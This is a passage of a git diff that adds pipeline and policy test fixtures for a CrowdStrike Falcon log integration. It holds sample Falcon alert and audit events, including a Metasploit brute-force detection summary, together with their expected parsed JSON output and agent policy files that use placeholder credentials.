+                "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}",
+                "outcome": "failure",
+                "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2",
+                "severity": 73,
+                "type": [
+                    "info",
+                    "change"
+                ]
+            },
+            "message": "EC2 NACL configured for global ingress",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "tags": [
+                "preserve_original_event",
+                "SensorGroupingTags/TEACHER",
+                "SensorGroupingTags/XYZ",
+                "321",
+                "1111"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log
new file mode 100644
index 0000000000..45a23413b4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log
@@ -0,0 +1,31 @@
+{
+	"metadata": {
+
+		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+		"offset": 54712611,
+		"eventType": "CSPMSearchStreamingEvent",
+		"eventCreationTime": 1663009688832,
+		"version": "1.0"
+	},
+	"event": {
+		"AccountId": "XXXXXXXXXXXX",
+		"Region": "us-west-2",
+		"ResourceId": "i-0108fce80eXXXXXXX",
+		"ResourceIdType": "Instance Id",
+		"ResourceName": "",
+		"ResourceCreateTime": 0,
+		"PolicyStatement": "EC2 NACL configured for global ingress",
+		"PolicyId": 26,
+		"Severity": 1,
+		"SeverityName": "High",
+		"CloudPlatform": "AWS",
+		"CloudService": "EC2",
+		"Disposition": "Failed",
+		"ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
+		"Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
+		"ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}",
+		"Tags": "SensorGroupingTags/TEACHER",
+		"ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2",
+		"Timestamp": 1663009688832
+	}
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json
new file mode 100644
index 0000000000..1a88b27b32
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json
@@ -0,0 +1,70 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2022-09-12T19:08:08.832Z",
+            "cloud": {
+                "account": {
+                    "id": "XXXXXXXXXXXX"
+                },
+                "provider": "AWS",
+                "region": "us-west-2",
+                "service": {
+                    "name": "EC2"
+                }
+            },
+            "crowdstrike": {
+                "event": {
+                    "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
+                    "PolicyId": 26,
+                    "ResourceAttributes": {
+                        "ACL ID": "acl - 005e6 bb98e75ac17e",
+                        "Instance ID": "i - 0108 fce80eXXXXXXX",
+                        "Instance State": "running",
+                        "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00",
+                        "Platform": "Linux",
+                        "VPC ID": "vpc - 0e886040 c27d9f526"
+                    },
+                    "ResourceId": "i-0108fce80eXXXXXXX",
+                    "ResourceIdType": "Instance Id",
+                    "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
+                    "Severity": 1,
+                    "SeverityName": "High",
+                    "Timestamp": 1663009688832
+                },
+                "metadata": {
+                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
+                    "eventType": "CSPMSearchStreamingEvent",
+                    "offset": 54712611,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "category": [
+                    "configuration"
+                ],
+                "created": "2022-09-12T19:08:08.832Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}",
+                "outcome": "failure",
+                "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2",
+                "severity": 73,
+                "type": [
+                    "info",
+                    "change"
+                ]
+            },
+            "message": "EC2 NACL configured for global ingress",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "tags": [
+                "preserve_original_event",
+                "SensorGroupingTags/TEACHER"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log
new file mode 100644
index 0000000000..1605c91253
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log
@@ -0,0 +1,25 @@
+{
+    "metadata": {
+        "customerIDString": "123123abcd",
+        "offset": 3,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1686845212400,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "TESTUSERID",
+        "UserIp": "175.16.199.1",
+        "OperationName": "detection_update",
+        "ServiceName": "detections",
+        "AuditKeyValues": [
+            {
+                "Key": "detection_id",
+                "ValueString": "TESTVALUE:ind:STRING123:456-123-654"
+            }
+        ],
+        "UTCTimestamp": 1686839378,
+        "Attributes": {
+            "detection_id": "DETECTID:ind:TESTID:456-123-654"
+        }
+    }
+}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json
new file mode 100644
index 0000000000..27ccad4083
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json
@@ -0,0 +1,76 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2023-06-15T14:29:38.000Z",
+            "crowdstrike": {
+                "event": {
+                    "Attributes": {
+                        "detection_id": "DETECTID:ind:TESTID:456-123-654"
+                    },
+                    "AuditKeyValues": [
+                        {
+                            "Key": "detection_id",
+                            "ValueString": "TESTVALUE:ind:STRING123:456-123-654"
+                        }
+                    ],
+                    "ServiceName": "detections"
+                },
+                "metadata": {
+                    "customerIDString": "123123abcd",
+                    "eventType": "UserActivityAuditEvent",
+                    "offset": 3,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "user_activity_audit_event",
+                "category": [
+                    "iam"
+                ],
+                "created": "2023-06-15T16:06:52.400Z",
+                "kind": "event",
+                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 3,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"TESTUSERID\",\n        \"UserIp\": \"175.16.199.1\",\n        \"OperationName\": \"detection_update\",\n        \"ServiceName\": \"detections\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"detection_id\",\n                \"ValueString\": \"TESTVALUE:ind:STRING123:456-123-654\"\n            }\n        ],\n        \"UTCTimestamp\": 1686839378,\n        \"Attributes\": {\n            \"detection_id\": \"DETECTID:ind:TESTID:456-123-654\"\n        }\n    }\n}",
+                "type": [
+                    "change"
+                ]
+            },
+            "message": "detection_update",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "ip": [
+                    "175.16.199.1"
+                ],
+                "user": [
+                    "TESTUSERID"
+                ]
+            },
+            "source": {
+                "geo": {
+                    "city_name": "Changchun",
+                    "continent_name": "Asia",
+                    "country_iso_code": "CN",
+                    "country_name": "China",
+                    "location": {
+                        "lat": 43.88,
+                        "lon": 125.3228
+                    },
+                    "region_iso_code": "CN-22",
+                    "region_name": "Jilin Sheng"
+                },
+                "ip": "175.16.199.1"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "TESTUSERID"
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log
new file mode 100644
index 0000000000..c770c7dc9d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log
@@ -0,0 +1,74 @@
+{
+	"metadata": {
+		"customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
+		"eventCreationTime": 1651174243000,
+		"eventType": "XdrDetectionSummaryEvent",
+		"offset": 34280810,
+		"version": "1.0"
+	},
+	"event": {
+		"Author": "CrowdStrike",
+		"DataDomains": "Identity,Network,Endpoint",
+		"Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
+		"DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
+		"EndTimeEpoch": 1643317927664000000,
+		"IPv4Addresses": "81.2.69.144,81.2.69.192",
+		"HostNames": "XDR-WIN10",
+		"Name": "Metasploit and brute force login attempt",
+		"PatternId": 100011,
+		"Severity": 90,
+		"SourceProducts": "Falcon,Corelight",
+		"SourceVendors": "CrowdStrike,Corelight",
+		"StartTimeEpoch": 1643317697728000000,
+		"TacticIds": "TA0001,TA0002",
+		"Tactics": "Initial Access,Execution",
+		"TechniqueIds": "T1566.001,T1203",
+		"Techniques": "Spearphishing Attachment,Exploitation for Client Execution",
+		"XdrType": "xdr"
+	}
+}
+{
+	"metadata": {
+		"customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
+		"eventCreationTime": 1651174243000,
+		"eventType": "XdrDetectionSummaryEvent",
+		"offset": 34280810,
+		"version": "1.0"
+	},
+	"event": {
+		"Author": "CrowdStrike",
+		"DataDomains": "Identity,Network,Endpoint",
+		"Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
+		"DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
+		"EndTimeEpoch": 1643317927664000000,
+		"IPv4Addresses": "81.2.69.144,81.2.69.192",
+		"HostNames": "XDR-WIN10",
+		"Name": "Metasploit and brute force login attempt",
+		"PatternId": 100011,
+		"Severity": 90,
+		"SourceProducts": "Falcon,Corelight",
+		"SourceVendors": "CrowdStrike,Corelight",
+		"StartTimeEpoch": 1643317697728000000,
+		"TacticIds": "TA0001,TA0002",
+		"Tactics": "Initial Access,Execution",
+		"TechniqueIds": "T1566.001,T1203",
+		"Techniques": "Spearphishing Attachment,Exploitation for Client Execution",
+		"XdrType": "xdr",
+		"MitreAttack": [
+			{
+				"Tactic": "Initial Access",
+				"TacticID": "TA0001",
+				"Technique": "Spearphishing Attachment",
+				"TechniqueID": "T1566.001",
+				"PatternID": 100011
+			},
+			{
+				"Tactic": "Execution",
+				"TacticID": "TA0002",
+				"Technique": "Exploitation for Client Execution",
+				"TechniqueID": "T1203",
+				"PatternID": 100011
+			}
+		]
+	}
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json
new file mode 100644
index 0000000000..727e03676d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json
@@ -0,0 +1,190 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2022-01-27T21:08:17.728Z",
+            "crowdstrike": {
+                "event": {
+                    "DataDomains": [
+                        "Identity",
+                        "Network",
+                        "Endpoint"
+                    ],
+                    "PatternId": "100011",
+                    "Severity": 90,
+                    "SourceProducts": "Falcon,Corelight",
+                    "SourceVendors": "CrowdStrike,Corelight",
+                    "XdrType": "xdr"
+                },
+                "metadata": {
+                    "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
+                    "eventType": "XdrDetectionSummaryEvent",
+                    "offset": 34280810,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "xdr-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2022-04-28T19:30:43.000Z",
+                "end": "2022-01-27T21:12:07.664Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\"\n\t}\n}",
+                "start": "2022-01-27T21:08:17.728Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "XDR-WIN10"
+                ]
+            },
+            "rule": {
+                "author": [
+                    "CrowdStrike"
+                ],
+                "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
+                "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
+                "name": "Metasploit and brute force login attempt",
+                "uuid": "100011"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0001",
+                        "TA0002"
+                    ],
+                    "name": [
+                        "Initial Access",
+                        "Execution"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1566.001",
+                        "T1203"
+                    ],
+                    "name": [
+                        "Spearphishing Attachment",
+                        "Exploitation for Client Execution"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2022-01-27T21:08:17.728Z",
+            "crowdstrike": {
+                "event": {
+                    "DataDomains": [
+                        "Identity",
+                        "Network",
+                        "Endpoint"
+                    ],
+                    "MitreAttack": [
+                        {
+                            "PatternID": "100011",
+                            "Tactic": "Initial Access",
+                            "TacticID": "TA0001",
+                            "Technique": "Spearphishing Attachment",
+                            "TechniqueID": "T1566.001"
+                        },
+                        {
+                            "PatternID": "100011",
+                            "Tactic": "Execution",
+                            "TacticID": "TA0002",
+                            "Technique": "Exploitation for Client Execution",
+                            "TechniqueID": "T1203"
+                        }
+                    ],
+                    "PatternId": "100011",
+                    "Severity": 90,
+                    "SourceProducts": "Falcon,Corelight",
+                    "SourceVendors": "CrowdStrike,Corelight",
+                    "XdrType": "xdr"
+                },
+                "metadata": {
+                    "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
+                    "eventType": "XdrDetectionSummaryEvent",
+                    "offset": 34280810,
+                    "version": "1.0"
+                }
+            },
+            "ecs": {
+                "version": "8.17.0"
+            },
+            "event": {
+                "action": "xdr-detection",
+                "category": [
+                    "malware"
+                ],
+                "created": "2022-04-28T19:30:43.000Z",
+                "end": "2022-01-27T21:12:07.664Z",
+                "kind": "alert",
+                "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"TacticID\": \"TA0001\",\n\t\t\t\t\"Technique\": \"Spearphishing Attachment\",\n\t\t\t\t\"TechniqueID\": \"T1566.001\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Execution\",\n\t\t\t\t\"TacticID\": \"TA0002\",\n\t\t\t\t\"Technique\": \"Exploitation for Client Execution\",\n\t\t\t\t\"TechniqueID\": \"T1203\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t}\n\t\t]\n\t}\n}",
+                "start": "2022-01-27T21:08:17.728Z",
+                "type": [
+                    "info"
+                ]
+            },
+            "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
+            "observer": {
+                "product": "Falcon",
+                "vendor": "Crowdstrike"
+            },
+            "related": {
+                "hosts": [
+                    "XDR-WIN10"
+                ]
+            },
+            "rule": {
+                "author": [
+                    "CrowdStrike"
+                ],
+                "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.",
+                "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc",
+                "name": "Metasploit and brute force login attempt",
+                "uuid": "100011"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "framework": "MITRE ATT&CK",
+                "tactic": {
+                    "id": [
+                        "TA0001",
+                        "TA0002"
+                    ],
+                    "name": [
+                        "Initial Access",
+                        "Execution"
+                    ]
+                },
+                "technique": {
+                    "id": [
+                        "T1566.001",
+                        "T1203"
+                    ],
+                    "name": [
+                        "Spearphishing Attachment",
+                        "Exploitation for Client Execution"
+                    ]
+                }
+            }
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected
new file mode 100644
index 0000000000..71a83cd255
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected
@@ -0,0 +1,42 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-default-crowdstrike
+      streams:
+        - allow_deprecated_use: true
+          data_stream:
+            dataset: crowdstrike.falcon
+          exclude_files:
+            - \.gz$
+          multiline.match: after
+          multiline.max_lines: 5000
+          multiline.negate: true
+          multiline.pattern: ^{
+          multiline.timeout: 10
+          paths:
+            - /var/log/crowdstrike/falconhoseclient/output*
+          publisher_pipeline.disable_host: true
+          tags:
+            - preserve_original_event
+            - forwarded
+            - crowdstrike-falcon
+      type: logfile
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.falcon-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references: []
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml
new file mode 100644
index 0000000000..58bbc1f403
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml
@@ -0,0 +1,9 @@
+vars:
+  url: http://host.tld
+  client_id: test_client_id
+  client_secret: test_client_secret
+  token_url: http://host.tld/oauth2/token
+data_stream:
+  vars:
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected
new file mode 100644
index 0000000000..76892c8579
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected
@@ -0,0 +1,61 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-streaming-crowdstrike
+      streams:
+        - auth:
+            client_id: test_client_id
+            client_secret: ${SECRET_0}
+            token_url: http://host.tld/oauth2/token
+          crowdstrike_app_id: test_app_id
+          data_stream:
+            dataset: crowdstrike.falcon
+          processors: null
+          program: |
+            state.response.decode_json().as(body, {
+              // Handle both old agent behaviour and new multi-resource cursors.
+              ?"cursor": !has(state.feed) ?
+                // Old behaviour: no feed key.
+                body.?metadata.optMap(m, {"offset": m.offset})
+              : has(body.metadata) ?
+                // New behaviour with a cursor from the event.
+                optional.of(state.?cursor.orValue({}).with({
+                  ?state.feed: body.?metadata.optMap(m, {"offset": m.offset}),
+                }))
+              :
+                // New behaviour with no cursor; pass through.
+                state.?cursor,
+              "events": [{
+                    "message":  body.encode_json(),
+              }],
+            })
+          publisher_pipeline.disable_host: true
+          redact:
+            fields: null
+          stream_type: crowdstrike
+          tags:
+            - preserve_original_event
+            - forwarded
+            - crowdstrike-falcon
+          url: http://host.tld/sensors/entities/datafeed/v2
+      type: streaming
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.falcon-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references:
+    - {}
